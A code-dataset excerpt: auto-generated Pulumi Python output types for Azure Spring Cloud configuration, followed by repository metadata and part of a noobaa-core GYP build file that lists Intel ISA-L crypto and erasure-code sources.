_tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop @pulumi.output_type class SpringCloudServiceConfigServerGitSettingRepository(dict): def __init__(__self__, *, name: str, uri: str, http_basic_auth: Optional['outputs.SpringCloudServiceConfigServerGitSettingRepositoryHttpBasicAuth'] = None, label: Optional[str] = None, patterns: Optional[Sequence[str]] = None, search_paths: Optional[Sequence[str]] = None, ssh_auth: Optional['outputs.SpringCloudServiceConfigServerGitSettingRepositorySshAuth'] = None): """ :param str name: A name to identify on the Git repository, required only if repos exists. :param str uri: The URI of the Git repository that's used as the Config Server back end should be started with `http://`, `https://`, `git@`, or `ssh://`. :param 'SpringCloudServiceConfigServerGitSettingRepositoryHttpBasicAuthArgs' http_basic_auth: A `http_basic_auth` block as defined below. :param str label: The default label of the Git repository, should be the branch name, tag name, or commit-id of the repository. :param Sequence[str] patterns: An array of strings used to match an application name. For each pattern, use the `{application}/{profile}` format with wildcards. :param Sequence[str] search_paths: An array of strings used to search subdirectories of the Git repository. :param 'SpringCloudServiceConfigServerGitSettingRepositorySshAuthArgs' ssh_auth: A `ssh_auth` block as defined below. """ pulumi.set(__self__, "name", name) pulumi.set(__self__, "uri", uri) if http_basic_auth is not None: pulumi.set(__self__, "http_basic_auth", http_basic_auth) if label is not None: pulumi.set(__self__, "label", label) if patterns is not None: pulumi.set(__self__, "patterns", patterns) if search_paths is not None: pulumi.set(__self__, "search_paths", search_paths) if ssh_auth is not None: pulumi.set(__self__, "ssh_auth", ssh_auth) @property @pulumi.getter def name(self) -> str: """ A name to identify on the Git repository, required only if repos exists. """ return pulumi.get(self, "name") @property @pulumi.getter def uri(self) -> str: """ The URI of the Git repository that's used as the Config Server back end should be started with `http://`, `https://`, `git@`, or `ssh://`. """ return pulumi.get(self, "uri") @property @pulumi.getter(name="httpBasicAuth") def http_basic_auth(self) -> Optional['outputs.SpringCloudServiceConfigServerGitSettingRepositoryHttpBasicAuth']: """ A `http_basic_auth` block as defined below. """ return pulumi.get(self, "http_basic_auth") @property @pulumi.getter def label(self) -> Optional[str]: """ The default label of the Git repository, should be the branch name, tag name, or commit-id of the repository. """ return pulumi.get(self, "label") @property @pulumi.getter def patterns(self) -> Optional[Sequence[str]]: """ An array of strings used to match an application name. For each pattern, use the `{application}/{profile}` format with wildcards. """ return pulumi.get(self, "patterns") @property @pulumi.getter(name="searchPaths") def search_paths(self) -> Optional[Sequence[str]]: """ An array of strings used to search subdirectories of the Git repository. """ return pulumi.get(self, "search_paths") @property @pulumi.getter(name="sshAuth") def ssh_auth(self) -> Optional['outputs.SpringCloudServiceConfigServerGitSettingRepositorySshAuth']: """ A `ssh_auth` block as defined below. """ return pulumi.get(self, "ssh_auth") def _translate_property(self, prop): return _tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop @pulumi.output_type class SpringCloudServiceConfigServerGitSettingRepositoryHttpBasicAuth(dict): def __init__(__self__, *, password: str, username: str): """ :param str password: The password used to access the Git repository server, required when the Git repository server supports Http Basic Authentication. :param str username: The username that's used to access the Git repository server, required when the Git repository server supports Http Basic Authentication. """ pulumi.set(__self__, "password", password) pulumi.set(__self__, "username", username) @property @pulumi.getter def password(self) -> str: """ The password used to access the Git repository server, required when the Git repository server supports Http Basic Authentication. """ return pulumi.get(self, "password") @property @pulumi.getter def username(self) -> str: """ The username that's used to access the Git repository server, required when the Git repository server supports Http Basic Authentication. """ return pulumi.get(self, "username") def _translate_property(self, prop): return _tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop @pulumi.output_type class SpringCloudServiceConfigServerGitSettingRepositorySshAuth(dict): def __init__(__self__, *, private_key: str, host_key: Optional[str] = None, host_key_algorithm: Optional[str] = None, strict_host_key_checking_enabled: Optional[bool] = None): """ :param str private_key: The SSH private key to access the Git repository, required when the URI starts with `git@` or `ssh://`. :param str host_key: The host key of the Git repository server, should not include the algorithm prefix as covered by `host-key-algorithm`. :param str host_key_algorithm: The host key algorithm, should be `ssh-dss`, `ssh-rsa`, `ecdsa-sha2-nistp256`, `ecdsa-sha2-nistp384`, or `ecdsa-sha2-nistp521`. Required only if `host-key` exists. :param bool strict_host_key_checking_enabled: Indicates whether the Config Server instance will fail to start if the host_key does not match. """ pulumi.set(__self__, "private_key", private_key) if host_key is not None: pulumi.set(__self__, "host_key", host_key) if host_key_algorithm is not None: pulumi.set(__self__, "host_key_algorithm", host_key_algorithm) if strict_host_key_checking_enabled is not None: pulumi.set(__self__, "strict_host_key_checking_enabled", strict_host_key_checking_enabled) @property @pulumi.getter(name="privateKey") def private_key(self) -> str: """ The SSH private key to access the Git repository, required when the URI starts with `git@` or `ssh://`. """ return pulumi.get(self, "private_key") @property @pulumi.getter(name="hostKey") def host_key(self) -> Optional[str]: """ The host key of the Git repository server, should not include the algorithm prefix as covered by `host-key-algorithm`. """ return pulumi.get(self, "host_key") @property @pulumi.getter(name="hostKeyAlgorithm") def host_key_algorithm(self) -> Optional[str]: """ The host key algorithm, should be `ssh-dss`, `ssh-rsa`, `ecdsa-sha2-nistp256`, `ecdsa-sha2-nistp384`, or `ecdsa-sha2-nistp521`. Required only if `host-key` exists. """ return pulumi.get(self, "host_key_algorithm") @property @pulumi.getter(name="strictHostKeyCheckingEnabled") def strict_host_key_checking_enabled(self) -> Optional[bool]: """ Indicates whether the Config Server instance will fail to start if the host_key does not match. """ return pulumi.get(self, "strict_host_key_checking_enabled") def _translate_property(self, prop): return _tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop @pulumi.output_type class SpringCloudServiceConfigServerGitSettingSshAuth(dict): def __init__(__self__, *, private_key: str, host_key: Optional[str] = None, host_key_algorithm: Optional[str] = None, strict_host_key_checking_enabled: Optional[bool] = None): """ :param str private_key: The SSH private key to access the Git repository, required when the URI starts with `git@` or `ssh://`. :param str host_key: The host key of the Git repository server, should not include the algorithm prefix as covered by `host-key-algorithm`. :param str host_key_algorithm: The host key algorithm, should be `ssh-dss`, `ssh-rsa`, `ecdsa-sha2-nistp256`, `ecdsa-sha2-nistp384`, or `ecdsa-sha2-nistp521`. Required only if `host-key` exists. :param bool strict_host_key_checking_enabled: Indicates whether the Config Server instance will fail to start if the host_key does not match. """ pulumi.set(__self__, "private_key", private_key) if host_key is not None: pulumi.set(__self__, "host_key", host_key) if host_key_algorithm is not None: pulumi.set(__self__, "host_key_algorithm", host_key_algorithm) if strict_host_key_checking_enabled is not None: pulumi.set(__self__, "strict_host_key_checking_enabled", strict_host_key_checking_enabled) @property @pulumi.getter(name="privateKey") def private_key(self) -> str: """ The SSH private key to access the Git repository, required when the URI starts with `git@` or `ssh://`. """ return pulumi.get(self, "private_key") @property @pulumi.getter(name="hostKey") def host_key(self) -> Optional[str]: """ The host key of the Git repository server, should not include the algorithm prefix as covered by `host-key-algorithm`. """ return pulumi.get(self, "host_key") @property @pulumi.getter(name="hostKeyAlgorithm") def host_key_algorithm(self) -> Optional[str]: """ The host key algorithm, should be `ssh-dss`, `ssh-rsa`, `ecdsa-sha2-nistp256`, `ecdsa-sha2-nistp384`, or `ecdsa-sha2-nistp521`. Required only if `host-key` exists. """ return pulumi.get(self, "host_key_algorithm") @property @pulumi.getter(name="strictHostKeyCheckingEnabled") def strict_host_key_checking_enabled(self) -> Optional[bool]: """ Indicates whether the Config Server instance will fail to start if the host_key does not match. """ return pulumi.get(self, "strict_host_key_checking_enabled") def _translate_property(self, prop): return _tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop @pulumi.output_type class SpringCloudServiceNetwork(dict): def __init__(__self__, *, app_subnet_id: str, cidr_ranges: Sequence[str], service_runtime_subnet_id: str, app_network_resource_group: Optional[str] = None, service_runtime_network_resource_group: Optional[str] = None): """ :param str app_subnet_id: Specifies the ID of the Subnet which should host the Spring Boot Applications deployed in this Spring Cloud Service. Changing this forces a new resource to be created. :param Sequence[str] cidr_ranges: A list of (at least 3) CIDR ranges (at least /16) which are used to host the Spring Cloud infrastructure, which must not overlap with any existing CIDR ranges in the Subnet. Changing this forces a new resource to be created. :param str service_runtime_subnet_id: Specifies the ID of the Subnet where the Service Runtime components of the Spring Cloud Service will exist. Changing this forces a new resource to be created. :param str app_network_resource_group: Specifies the Name of the resource group containing network resources of Azure Spring Cloud Apps. Changing this forces a new resource to be created. :param str service_runtime_network_resource_group: Specifies the Name of the resource group containing network resources of Azure Spring Cloud Service Runtime. Changing this forces a new resource to be created. """ pulumi.set(__self__, "app_subnet_id", app_subnet_id) pulumi.set(__self__, "cidr_ranges", cidr_ranges) pulumi.set(__self__, "service_runtime_subnet_id", service_runtime_subnet_id) if app_network_resource_group is not None: pulumi.set(__self__, "app_network_resource_group", app_network_resource_group) if service_runtime_network_resource_group is not None: pulumi.set(__self__, "service_runtime_network_resource_group", service_runtime_network_resource_group) @property @pulumi.getter(name="appSubnetId") def app_subnet_id(self) -> str: """ Specifies the ID of the Subnet which should host the Spring Boot Applications deployed in this Spring Cloud Service. Changing this forces a new resource to be created. """ return pulumi.get(self, "app_subnet_id") @property @pulumi.getter(name="cidrRanges") def cidr_ranges(self) -> Sequence[str]: """ A list of (at least 3) CIDR ranges (at least /16) which are used to host the Spring Cloud infrastructure, which must not overlap with any existing CIDR ranges in the Subnet. Changing this forces a new resource to be created. """ return pulumi.get(self, "cidr_ranges") @property @pulumi.getter(name="serviceRuntimeSubnetId") def service_runtime_subnet_id(self) -> str: """ Specifies the ID of the Subnet where the Service Runtime components of the Spring Cloud Service will exist. Changing this forces a new resource to be created. """ return pulumi.get(self, "service_runtime_subnet_id") @property @pulumi.getter(name="appNetworkResourceGroup") def app_network_resource_group(self) -> Optional[str]: """ Specifies the Name of the resource group containing network resources of Azure Spring Cloud Apps. Changing this forces a new resource to be created. """ return pulumi.get(self, "app_network_resource_group") @property @pulumi.getter(name="serviceRuntimeNetworkResourceGroup") def service_runtime_network_resource_group(self) -> Optional[str]: """ Specifies the Name of the resource group containing network resources of Azure Spring Cloud Service Runtime. Changing this forces a new resource to be created. """ return pulumi.get(self, "service_runtime_network_resource_group") def _translate_property(self, prop): return _tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop @pulumi.output_type class SpringCloudServiceTrace(dict): def __init__(__self__, *, instrumentation_key: str): """ :param str instrumentation_key: The Instrumentation Key used for Application Insights. """ pulumi.set(__self__, "instrumentation_key", instrumentation_key) @property @pulumi.getter(name="instrumentationKey") def instrumentation_key(self) -> str: """ The Instrumentation Key used for Application Insights. """ return pulumi.get(self, "instrumentation_key") def _translate_property(self, prop): return _tables.CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop @pulumi.output_type class GetSpringCloudServiceConfigServerGitSettingResult(dict): def __init__(__self__, *, http_basic_auths: Sequence['outputs.GetSpringCloudServiceConfigServerGitSettingHttpBasicAuthResult'], label: str, repositories: Sequence['outputs.GetSpringCloudServiceConfigServerGitSettingRepositoryResult'], search_paths: Sequence[str], ssh_auths: Sequence['outputs.GetSpringCloudServiceConfigServerGitSettingSshAuthResult'], uri: str): """ :param Sequence['GetSpringCloudServiceConfigServerGitSettingHttpBasicAuthArgs'] http_basic_auths: A `http_basic_auth` block as defined below. :param str label: The default label of the Git repository, which is a branch name, tag name, or commit-id of the repository :param Sequence['GetSpringCloudServiceConfigServerGitSettingRepositoryArgs'] repositories: One or more `repository` blocks as defined below. :param Sequence[str] search_paths: An array of strings used to search subdirectories of the Git repository. :param Sequence['GetSpringCloudServiceConfigServerGitSettingSshAuthArgs'] ssh_auths: A `ssh_auth` block as defined below. :param str uri: The URI of the Git repository """ pulumi.set(__self__, "http_basic_auths", http_basic_auths) pulumi.set(__self__, "label", label) pulumi.set(__self__, "repositories", repositories) pulumi.set(__self__, "search_paths", search_paths) pulumi.set(__self__, "ssh_auths", ssh_auths) pulumi.set(__self__, "uri", uri) @property @pulumi.getter(name="httpBasicAuths") def http_basic_auths(self) -> Sequence['outputs.GetSpringCloudServiceConfigServerGitSettingHttpBasicAuthResult']: """ A `http_basic_auth` block as defined below. """ return pulumi.get(self, "http_basic_auths") @property @pulumi.getter def label(self) -> str: """ The default label of the Git repository, which is a branch name, tag name, or commit-id of the repository """ return pulumi.get(self, "label") @property @pulumi.getter def repositories(self) -> Sequence['outputs.GetSpringCloudServiceConfigServerGitSettingRepositoryResult']: """ One or more `repository` blocks as defined below. """ return pulumi.get(self, "repositories") @property @pulumi.getter(name="searchPaths") def search_paths(self) -> Sequence[str]: """ An array of strings used to search subdirectories of the Git repository. """ return pulumi.get(self, "search_paths") @property @pulumi.getter(name="sshAuths") def ssh_auths(self) -> Sequence['outputs.GetSpringCloudServiceConfigServerGitSettingSshAuthResult']: """ A `ssh_auth` block as defined below. """ return pulumi.get(self, "ssh_auths") @property @pulumi.getter def uri(self) -> str: """ The URI of the Git repository """ return pulumi.get(self, "uri") @pulumi.output_type class GetSpringCloudServiceConfigServerGitSettingHttpBasicAuthResult(dict): def __init__(__self__, *, password: str, username: str): """ :param str password: The password used to access the Http Basic Authentication Git repository server. :param str username: The username used to access the Http Basic Authentication Git repository server. """ pulumi.set(__self__, "password", password) pulumi.set(__self__, "username", username) @property @pulumi.getter def password(self) -> str: """ The password used to access the Http Basic Authentication Git repository server. """ return pulumi.get(self, "password") @property @pulumi.getter def username(self) -> str: """ The username used to access the Http Basic Authentication Git repository server. """ return pulumi.get(self, "username") @pulumi.output_type class GetSpringCloudServiceConfigServerGitSettingRepositoryResult(dict): def __init__(__self__, *, http_basic_auths: Sequence['outputs.GetSpringCloudServiceConfigServerGitSettingRepositoryHttpBasicAuthResult'], label: str, name: str, patterns: Sequence[str], search_paths: Sequence[str], ssh_auths: Sequence['outputs.GetSpringCloudServiceConfigServerGitSettingRepositorySshAuthResult'], uri: str): """ :param Sequence['GetSpringCloudServiceConfigServerGitSettingRepositoryHttpBasicAuthArgs'] http_basic_auths: A `http_basic_auth` block as defined below. :param str label: The default label of the Git repository, which is a branch name, tag name, or commit-id of the repository :param str name: Specifies The name of the Spring Cloud Service resource. :param Sequence[str] patterns: An array of strings used to match an application name. For each pattern, use the `{application}/{profile}` format with wildcards. :param Sequence[str] search_paths: An array of strings used to search subdirectories of the Git repository. :param Sequence['GetSpringCloudServiceConfigServerGitSettingRepositorySshAuthArgs'] ssh_auths: A `ssh_auth` block as defined below. :param str uri: The URI of the Git repository """ pulumi.set(__self__, "http_basic_auths", http_basic_auths) pulumi.set(__self__, "label", label) pulumi.set(__self__, "name", name) pulumi.set(__self__, "patterns", patterns) pulumi.set(__self__, "search_paths", search_paths) pulumi.set(__self__, "ssh_auths", ssh_auths) pulumi.set(__self__, "uri", uri) @property @pulumi.getter(name="httpBasicAuths") def http_basic_auths(self) -> Sequence['outputs.GetSpringCloudServiceConfigServerGitSettingRepositoryHttpBasicAuthResult']: """ A `http_basic_auth` block as defined below. """ return pulumi.get(self, "http_basic_auths") @property @pulumi.getter def label(self) -> str: """ The default label of the Git repository, which is a branch name, tag name, or commit-id of the repository """ return pulumi.get(self, "label") @property @pulumi.getter def name(self) -> str: """ Specifies The name of the Spring Cloud Service resource. """ return pulumi.get(self, "name") @property @pulumi.getter def patterns(self) -> Sequence[str]: """ An array of strings used to match an application name. For each pattern, use the `{application}/{profile}` format with wildcards. """ return pulumi.get(self, "patterns") @property @pulumi.getter(name="searchPaths") def search_paths(self) -> Sequence[str]: """ An array of strings used to search subdirectories of the Git repository. """ return pulumi.get(self, "search_paths") @property @pulumi.getter(name="sshAuths") def ssh_auths(self) -> Sequence['outputs.GetSpringCloudServiceConfigServerGitSettingRepositorySshAuthResult']: """ A `ssh_auth` block as defined below. """ return pulumi.get(self, "ssh_auths") @property @pulumi.getter def uri(self) -> str: """ The URI of the Git repository """ return pulumi.get(self, "uri") @pulumi.output_type class GetSpringCloudServiceConfigServerGitSettingRepositoryHttpBasicAuthResult(dict): def __init__(__self__, *, password: str, username: str): """ :param str password: The password used to access the Http Basic Authentication Git repository server. :param str username: The username used to access the Http Basic Authentication Git repository server. """ pulumi.set(__self__, "password", password) pulumi.set(__self__, "username", username) @property @pulumi.getter def password(self) -> str: """ The password used to access the Http Basic Authentication Git repository server. """ return pulumi.get(self, "password") @property @pulumi.getter def username(self) -> str: """ The username used to access the Http Basic Authentication Git repository server. """ return pulumi.get(self, "username") @pulumi.output_type class GetSpringCloudServiceConfigServerGitSettingRepositorySshAuthResult(dict): def __init__(__self__, *, host_key: str, host_key_algorithm: str, private_key: str, strict_host_key_checking_enabled: bool): """ :param str host_key: The host key of the Git repository server. :param str host_key_algorithm: The host key algorithm. :param str private_key: The SSH private key to access the Git repository, needed when the URI starts with `git@` or `ssh://`. :param bool strict_host_key_checking_enabled: Indicates whether the Config Server instance will fail to start if the host_key does not match. """ pulumi.set(__self__, "host_key", host_key) pulumi.set(__self__, "host_key_algorithm", host_key_algorithm) pulumi.set(__self__, "private_key", private_key) pulumi.set(__self__, "strict_host_key_checking_enabled", strict_host_key_checking_enabled) @property @pulumi.getter(name="hostKey") def host_key(self) -> str: """ The host key of the Git repository server. """ return pulumi.get(self, "host_key") @property @pulumi.getter(name="hostKeyAlgorithm") def host_key_algorithm(self) -> str: """ The host key algorithm. """ return pulumi.get(self, "host_key_algorithm") @property @pulumi.getter(name="privateKey") def private_key(self) -> str: """ The SSH private key to access the Git repository, needed when the URI starts with `git@` or `ssh://`. """ return pulumi.get(self, "private_key") @property @pulumi.getter(name="strictHostKeyCheckingEnabled") def strict_host_key_checking_enabled(self) -> bool: """ Indicates whether the Config Server instance will fail to start if the host_key does not match. """ return pulumi.get(self, "strict_host_key_checking_enabled") @pulumi.output_type class GetSpringCloudServiceConfigServerGitSettingSshAuthResult(dict): def __init__(__self__, *, host_key: str, host_key_algorithm: str, private_key: str, strict_host_key_checking_enabled: bool): """ :param str host_key: The host key of the Git repository server. :param str host_key_algorithm: The host key algorithm. :param str private_key: The SSH private key to access the Git repository, needed when the URI starts with `git@` or `ssh://`. :param bool strict_host_key_checking_enabled: Indicates whether the Config Server instance will fail to start if the host_key does not match. """ pulumi.set(__self__, "host_key", host_key) pulumi.set(__self__, "host_key_algorithm", host_key_algorithm) pulumi.set(__self__, "private_key", private_key) pulumi.set(__self__, "strict_host_key_checking_enabled", strict_host_key_checking_enabled) @property @pulumi.getter(name="hostKey") def host_key(self) -> str: """ The host key of the Git repository server. """ return pulumi.get(self, "host_key") @property @pulumi.getter(name="hostKeyAlgorithm") def host_key_algorithm(self) -> str: """ The host key algorithm. """ return pulumi.get(self, "host_key_algorithm") @property @pulumi.getter(name="privateKey") def private_key(self) -> str: """ The SSH private key to access the Git repository, needed when the URI starts with `git@` or `ssh://`. """ return pulumi.get(self, "private_key") @property @pulumi.getter(name="strictHostKeyCheckingEnabled") def strict_host_key_checking_enabled(self) -> bool: """ Indicates whether the Config Server instance will fail to start if the host_key does not match. """ return pulumi.get(self, "strict_host_key_checking_enabled")

43.652226

266

0.674018

4,171

36,275

5.649245

0.058979

0.032678

0.032551

0.047575

0.798964

0.782243

0.771718

0.757671

0.751942

0.737088

0

0.001987

0.237023

36,275

830

267

43.704819

0.84937

0.368436

0

0.756522

1

0

0.193036

0.129442

0

1

0.180435

false

0.034783

0.013043

0.019565

0.373913

0

null

0

1

0

1

0

null

0

7

9140f8abe478606c3264e07436e8188078e2a20a

16,941

gyp

Python

src/native/third_party/isa-l.gyp

paulxuzhang/noobaa-core

a462178b8a86f3373c44e877684f73c52573d6e6

[ "Apache-2.0" ]

null

src/native/third_party/isa-l.gyp

paulxuzhang/noobaa-core

a462178b8a86f3373c44e877684f73c52573d6e6

[ "Apache-2.0" ]

null

src/native/third_party/isa-l.gyp

paulxuzhang/noobaa-core

a462178b8a86f3373c44e877684f73c52573d6e6

[ "Apache-2.0" ]

null

# Copyright (C) 2016 NooBaa { 'includes': ['common_third_party.gypi'], 'targets': [ { 'target_name': 'isa-l-crc', 'type': 'static_library', 'includes': ['../asm.gypi'], 'include_dirs': [ 'isa-l/include/', 'isa-l/crc/', ], 'sources': [ 'isa-l/crc/crc_base.c', 'isa-l/crc/crc64_base.c', 'isa-l/crc/crc16_t10dif_01.asm', 'isa-l/crc/crc16_t10dif_by4.asm', 'isa-l/crc/crc32_ieee_01.asm', 'isa-l/crc/crc32_ieee_by4.asm', 'isa-l/crc/crc32_iscsi_01.asm', 'isa-l/crc/crc32_iscsi_00.asm', 'isa-l/crc/crc_multibinary.asm', 'isa-l/crc/crc64_multibinary.asm', 'isa-l/crc/crc64_ecma_refl_by8.asm', 'isa-l/crc/crc64_ecma_norm_by8.asm', 'isa-l/crc/crc64_iso_refl_by8.asm', 'isa-l/crc/crc64_iso_norm_by8.asm', 'isa-l/crc/crc64_jones_refl_by8.asm', 'isa-l/crc/crc64_jones_norm_by8.asm', 'isa-l/crc/crc32_gzip_refl_by8.asm', ] }, { 'target_name': 'isa-l-ec', 'type': 'static_library', 'includes': ['../asm.gypi'], 'include_dirs': [ 'isa-l/include/', 'isa-l/erasure_code/', ], 'sources': [ 'isa-l/erasure_code/ec_base.c', 'isa-l/erasure_code/ec_highlevel_func.c', ], # compile asm only for x64 until we have support for ppc # see https://github.com/intel/isa-l/issues/7 'conditions': [ [ 'node_arch=="x64"', { 'sources': [ 'isa-l/erasure_code/ec_multibinary.asm', 'isa-l/erasure_code/gf_vect_mul_sse.asm', 'isa-l/erasure_code/gf_vect_dot_prod_sse.asm', 'isa-l/erasure_code/gf_2vect_dot_prod_sse.asm', 'isa-l/erasure_code/gf_3vect_dot_prod_sse.asm', 'isa-l/erasure_code/gf_4vect_dot_prod_sse.asm', 'isa-l/erasure_code/gf_5vect_dot_prod_sse.asm', 'isa-l/erasure_code/gf_6vect_dot_prod_sse.asm', 'isa-l/erasure_code/gf_vect_mad_sse.asm', 'isa-l/erasure_code/gf_2vect_mad_sse.asm', 'isa-l/erasure_code/gf_3vect_mad_sse.asm', 'isa-l/erasure_code/gf_4vect_mad_sse.asm', 'isa-l/erasure_code/gf_5vect_mad_sse.asm', 'isa-l/erasure_code/gf_6vect_mad_sse.asm', 'isa-l/erasure_code/gf_vect_mul_avx.asm', 'isa-l/erasure_code/gf_vect_dot_prod_avx.asm', 'isa-l/erasure_code/gf_2vect_dot_prod_avx.asm', 'isa-l/erasure_code/gf_3vect_dot_prod_avx.asm', 'isa-l/erasure_code/gf_4vect_dot_prod_avx.asm', 'isa-l/erasure_code/gf_5vect_dot_prod_avx.asm', 'isa-l/erasure_code/gf_6vect_dot_prod_avx.asm', 'isa-l/erasure_code/gf_vect_mad_avx.asm', 'isa-l/erasure_code/gf_2vect_mad_avx.asm', 'isa-l/erasure_code/gf_3vect_mad_avx.asm', 'isa-l/erasure_code/gf_4vect_mad_avx.asm', 'isa-l/erasure_code/gf_5vect_mad_avx.asm', 'isa-l/erasure_code/gf_6vect_mad_avx.asm', 'isa-l/erasure_code/gf_vect_dot_prod_avx2.asm', 'isa-l/erasure_code/gf_2vect_dot_prod_avx2.asm', 'isa-l/erasure_code/gf_3vect_dot_prod_avx2.asm', 'isa-l/erasure_code/gf_4vect_dot_prod_avx2.asm', 'isa-l/erasure_code/gf_5vect_dot_prod_avx2.asm', 'isa-l/erasure_code/gf_6vect_dot_prod_avx2.asm', 'isa-l/erasure_code/gf_vect_mad_avx2.asm', 'isa-l/erasure_code/gf_2vect_mad_avx2.asm', 'isa-l/erasure_code/gf_3vect_mad_avx2.asm', 'isa-l/erasure_code/gf_4vect_mad_avx2.asm', 'isa-l/erasure_code/gf_5vect_mad_avx2.asm', 'isa-l/erasure_code/gf_6vect_mad_avx2.asm', 'isa-l/erasure_code/gf_vect_dot_prod_avx512.asm', 'isa-l/erasure_code/gf_2vect_dot_prod_avx512.asm', 'isa-l/erasure_code/gf_3vect_dot_prod_avx512.asm', 'isa-l/erasure_code/gf_4vect_dot_prod_avx512.asm', 'isa-l/erasure_code/gf_vect_mad_avx512.asm', 'isa-l/erasure_code/gf_2vect_mad_avx512.asm', 'isa-l/erasure_code/gf_3vect_mad_avx512.asm', 'isa-l/erasure_code/gf_4vect_mad_avx512.asm', ]}]], }, { 'target_name': 'isa-l-rolling-hash', 'type': 'static_library', 'includes': ['../asm.gypi'], 'include_dirs': [ 'isa-l_crypto/include/', 'isa-l_crypto/rolling_hash/', ], 'sources': [ 'isa-l_crypto/rolling_hash/rolling_hashx_base.c', 'isa-l_crypto/rolling_hash/rolling_hash2.c', 'isa-l_crypto/rolling_hash/rolling_hash2_until_04.asm', 'isa-l_crypto/rolling_hash/rolling_hash2_until_00.asm', 'isa-l_crypto/rolling_hash/rolling_hash2_multibinary.asm', ], }, { 'target_name': 'isa-l-md5', 'type': 'static_library', 'includes': ['../asm.gypi'], 'include_dirs': [ 'isa-l_crypto/include/', 'isa-l_crypto/md5_mb/', ], 'sources': [ # include 'isa-l_crypto/include/md5_mb.h', 'isa-l_crypto/include/types.h', 'isa-l_crypto/include/multi_buffer.h', 'isa-l_crypto/md5_mb/md5_ctx_base.c', 'isa-l_crypto/md5_mb/md5_ctx_base_aliases.c', ], # compile asm only for x64 until we have support for ppc # see https://github.com/intel/isa-l/issues/7 'conditions': [ [ 'node_arch=="x64"', { 'sources': [ 'isa-l_crypto/include/intrinreg.h', 'isa-l_crypto/include/reg_sizes.asm', 'isa-l_crypto/include/multibinary.asm', 'isa-l_crypto/include/datastruct.asm', # asm 'isa-l_crypto/md5_mb/md5_multibinary.asm', 'isa-l_crypto/md5_mb/md5_job.asm', 'isa-l_crypto/md5_mb/md5_mb_mgr_datastruct.asm', # ctx 'isa-l_crypto/md5_mb/md5_ctx_sse.c', 'isa-l_crypto/md5_mb/md5_ctx_avx.c', 'isa-l_crypto/md5_mb/md5_ctx_avx2.c', 'isa-l_crypto/md5_mb/md5_ctx_avx512.c', # mgr_init 'isa-l_crypto/md5_mb/md5_mb_mgr_init_sse.c', 'isa-l_crypto/md5_mb/md5_mb_mgr_init_avx2.c', 'isa-l_crypto/md5_mb/md5_mb_mgr_init_avx512.c', # mgr_flush 'isa-l_crypto/md5_mb/md5_mb_mgr_flush_sse.asm', 'isa-l_crypto/md5_mb/md5_mb_mgr_flush_avx.asm', 'isa-l_crypto/md5_mb/md5_mb_mgr_flush_avx2.asm', 'isa-l_crypto/md5_mb/md5_mb_mgr_flush_avx512.asm', # mgr_submit 'isa-l_crypto/md5_mb/md5_mb_mgr_submit_sse.asm', 'isa-l_crypto/md5_mb/md5_mb_mgr_submit_avx.asm', 'isa-l_crypto/md5_mb/md5_mb_mgr_submit_avx2.asm', 'isa-l_crypto/md5_mb/md5_mb_mgr_submit_avx512.asm', # x4x2 'isa-l_crypto/md5_mb/md5_mb_x4x2_sse.asm', 'isa-l_crypto/md5_mb/md5_mb_x4x2_avx.asm', 'isa-l_crypto/md5_mb/md5_mb_x8x2_avx2.asm', 'isa-l_crypto/md5_mb/md5_mb_x16x2_avx512.asm', ]}]], }, { 'target_name': 'isa-l-sha1', 'type': 'static_library', 'includes': ['../asm.gypi'], 'include_dirs': [ 'isa-l_crypto/include/', 'isa-l_crypto/sha1_mb/', ], 'sources': [ 'isa-l_crypto/sha1_mb/sha1_ctx_base.c', 'isa-l_crypto/sha1_mb/sha1_ctx_base_aliases.c', ], # compile asm only for x64 until we have support for ppc # see https://github.com/intel/isa-l/issues/7 'conditions': [ [ 'node_arch=="x64"', { 'sources': [ 'isa-l_crypto/sha1_mb/sha1_ctx_sse.c', 'isa-l_crypto/sha1_mb/sha1_ctx_avx.c', 'isa-l_crypto/sha1_mb/sha1_ctx_avx2.c', 'isa-l_crypto/sha1_mb/sha1_mb_mgr_init_sse.c', 'isa-l_crypto/sha1_mb/sha1_mb_mgr_init_avx2.c', 'isa-l_crypto/sha1_mb/sha1_mb_mgr_submit_sse.asm', 'isa-l_crypto/sha1_mb/sha1_mb_mgr_submit_avx.asm', 'isa-l_crypto/sha1_mb/sha1_mb_mgr_submit_avx2.asm', 'isa-l_crypto/sha1_mb/sha1_mb_mgr_flush_sse.asm', 'isa-l_crypto/sha1_mb/sha1_mb_mgr_flush_avx.asm', 'isa-l_crypto/sha1_mb/sha1_mb_mgr_flush_avx2.asm', 'isa-l_crypto/sha1_mb/sha1_mb_x4_sse.asm', 'isa-l_crypto/sha1_mb/sha1_mb_x4_avx.asm', 'isa-l_crypto/sha1_mb/sha1_mb_x8_avx2.asm', 'isa-l_crypto/sha1_mb/sha1_multibinary.asm', 'isa-l_crypto/sha1_mb/sha1_ctx_avx512.c', 'isa-l_crypto/sha1_mb/sha1_mb_mgr_init_avx512.c', 'isa-l_crypto/sha1_mb/sha1_mb_mgr_submit_avx512.asm', 'isa-l_crypto/sha1_mb/sha1_mb_mgr_flush_avx512.asm', 'isa-l_crypto/sha1_mb/sha1_mb_x16_avx512.asm', 'isa-l_crypto/sha1_mb/sha1_opt_x1.asm', 'isa-l_crypto/sha1_mb/sha1_ni_x1.asm', 'isa-l_crypto/sha1_mb/sha1_ctx_sse_ni.c', 'isa-l_crypto/sha1_mb/sha1_ctx_avx512_ni.c', 'isa-l_crypto/sha1_mb/sha1_mb_mgr_submit_sse_ni.asm', 'isa-l_crypto/sha1_mb/sha1_mb_mgr_flush_sse_ni.asm', 'isa-l_crypto/sha1_mb/sha1_mb_mgr_flush_avx512_ni.asm', ]}]], }, { 'target_name': 'isa-l-sha256', 'type': 'static_library', 'includes': ['../asm.gypi'], 'include_dirs': [ 'isa-l_crypto/include/', 'isa-l_crypto/sha256_mb/', ], 'sources': [ 'isa-l_crypto/sha256_mb/sha256_ctx_sse.c', 'isa-l_crypto/sha256_mb/sha256_ctx_avx.c', 'isa-l_crypto/sha256_mb/sha256_ctx_avx2.c', 'isa-l_crypto/sha256_mb/sha256_mb_mgr_init_sse.c', 